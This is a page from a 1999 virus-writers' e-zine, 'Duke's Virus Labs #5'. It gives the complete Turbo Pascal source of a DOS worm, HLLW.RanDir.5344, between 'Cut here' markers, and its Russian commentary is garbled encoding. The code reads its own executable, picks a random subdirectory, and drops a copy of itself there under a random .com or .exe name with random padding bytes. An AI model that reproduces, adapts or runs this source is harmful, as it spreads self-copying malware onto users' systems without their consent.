- [Duke's Virus Labs #5] - [Page 05] -

HLLW.RanDir.5344
(c) by Duke/SMF

     : HLLW.RanDir.5344
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 03.03.99

    砥,  孮 ᮢ襭 !   㦥 
 ⥫쭮 ⮬  祭 ᪮쪨 ,  祭  
᢮ ୮  :)
    ⠪ : । ⥪騩 , 뢠 ᫮ ४਩
 ୥,  砩 ᫮  0  ⮣  ᫠. ᫥ ⮣
᫨ ᫮  0,  室   -  ४਩  
  ஬,  ..,   㥬   ७. 
㣫㡫   ⠫    ,    
   믠 0.  ⮬ 砥 㥬  祭  :)
 ࠧ  ᪠ 砩  祭    
ᥨ  ᥬ ...

===== Cut here =====
{$I-,S-}
program Virus_RandomDir_3;
uses dos;
const VirLen=5344;
var Num:integer;       { 饩 ४ਨ}
    NewName,           { ᮧ }
    P:string;          { ४}
    Y:boolean;         {ਧ ⮣,  諨  㯨}
{---------------------------------------------------------------------------}
procedure MakeWorm;                       {ᮧ   砩 }
var f:file;
    i,d,C:byte;
    M:integer;
    Body:array[1..VirLen] of byte;
begin
{--  }
d:=random(8)+1;
NewName:='[HLLW.RanDir-3 (c) by Duke/SMF]';                { ࠩ ;)}
NewName:='';
for i:=1 to d do NewName:=NewName+chr(random(26)+97);
d:=random(255);
if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe';
{--  䠩}
NewName:=P+'\'+NewName;               {塞  ⥬}
assign(f,paramstr(0));reset(f,1);
blockread(f,Body,VirLen);
close(f);
assign(f,NewName);rewrite(f,1);
blockwrite(f,Body,VirLen);
for M:=0 to random(1000) do
  begin
  C:=random(255);
  blockwrite(f,C,1);
  end;
close(f);
end;
{---------------------------------------------------------------------------}
function ScanTree(Dir:string):integer;        {⠥ - ४਩}
var N:searchrec;
    D:integer;
begin
D:=0;
Dir:=Dir+'\';
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.') then D:=D+1;
  findnext(N);
  end;
ScanTree:=D;
end;
{---------------------------------------------------------------------------}
procedure FindDir(var Dir:string;D:integer);       {᪠ 㦭 ४}
var N:searchrec;
    K:integer;
begin
if D=0 then Y:=true else
  begin
  K:=0;
  Dir:=Dir+'\';
  findfirst(Dir+'*.*',$3F,N);
  while doserror=0 do
    begin
    with N do if (Attr and 16<>0) and (Name[1]<>'.') then K:=K+1;
    if K=D then
       begin
       P:=P+N.name;
       exit;
       end;
    findnext(N);
    end;
  end;
end;
{---------------------------------------------------------------------------}
begin
Randomize;                            {樨㥬 random-}
P:=copy(fexpand(paramstr(0)),1,2);    {।  ᪠}
Y:=false;
while Y=false do
  begin
  Num:=random(ScanTree(P));
  FindDir(P,Num);
  end;
MakeWorm;                             {ᮧ }
end.
===== Cut here =====
